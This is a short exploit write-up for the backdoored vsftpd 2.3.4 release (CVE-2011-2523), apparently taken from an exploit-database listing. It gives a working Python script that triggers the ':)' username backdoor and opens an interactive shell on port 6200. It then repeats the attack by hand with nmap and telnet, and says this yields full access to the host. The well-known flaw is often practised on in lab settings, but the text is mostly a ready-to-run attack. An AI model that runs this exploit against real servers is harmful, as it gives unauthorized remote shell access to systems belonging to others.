Exploit in vsftpd 2.3.4 - Backdoor Command Execution :)

These commands activate a simple exploit in vstpd version 2.3.4 that contains a backdoor within that version In 2011 the source package for version 2.3.4 hosted on the official website was compromised by an attacker managed to replace the original file with a malicious version.

Exploit Author: HerculesRD
Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
Version: vsftpd 2.3.4
Tested on: debian
CVE : CVE-2011-2523

Simply put, if the server/personal computer has this version with the backdoor (vsFTPd 2.3.4), simply connect to the target machine and use ":)" as the password. We won't tell the full story here, but in 2011, a dear hacker deliberately switched packets by placing a backdoor so others could gain full access.

This vulnerability is basic and useful for those who want to simulate their first "invasion." Below is a code example that connects to the target machine with Python, but of course, you can use a simple shell command, Metasploit Framework, etc.

#!/usr/bin/python3

	from telnetlib import Telnet 
	import argparse
	from signal import signal, SIGINT
	from sys import exit

	def handler(signal_received, frame):
		# Handle any cleanup here
		print('   [+]Exiting...')
		exit(0)

	signal(SIGINT, handler)                           
	parser=argparse.ArgumentParser()        
	parser.add_argument("host", help="input the address of the vulnerable host", type=str)
	args = parser.parse_args()       
	host = args.host                        
	portFTP = 21 #if necessary edit this line

	user="USER nergal:)"
	password="PASS pass"

	tn=Telnet(host, portFTP)
	tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
	tn.write(user.encode('ascii') + b"\n")
	tn.read_until(b"password.") #if necessary, edit this line
	tn.write(password.encode('ascii') + b"\n")

	tn2=Telnet(host, 6200)
	print('Success, shell opened')
	print('Send `exit` to quit shell')
	tn2.interact()

Another way to invade without using an automated script: The first step is to find out if the target actually has the vulnerability. You can use nmap, for example:

	nmap -p0-65535 10.2.xxx.xxx

You should get the result

	PORT      STATE SERVICE
	21/tcp    open  ftp

Now you connect via telnet

	telnet 10.2.xxx.xxx 
	Trying 10.2.xxx.xxx...
	Connected to 10.2.xxx.xxx.
	Escape character is '^]'.
	220 (vsFTPd 2.3.4)
	USER user:)
	331 Please specify the password.
	PASS pass
	^]

It's that simple, you have full access to the host.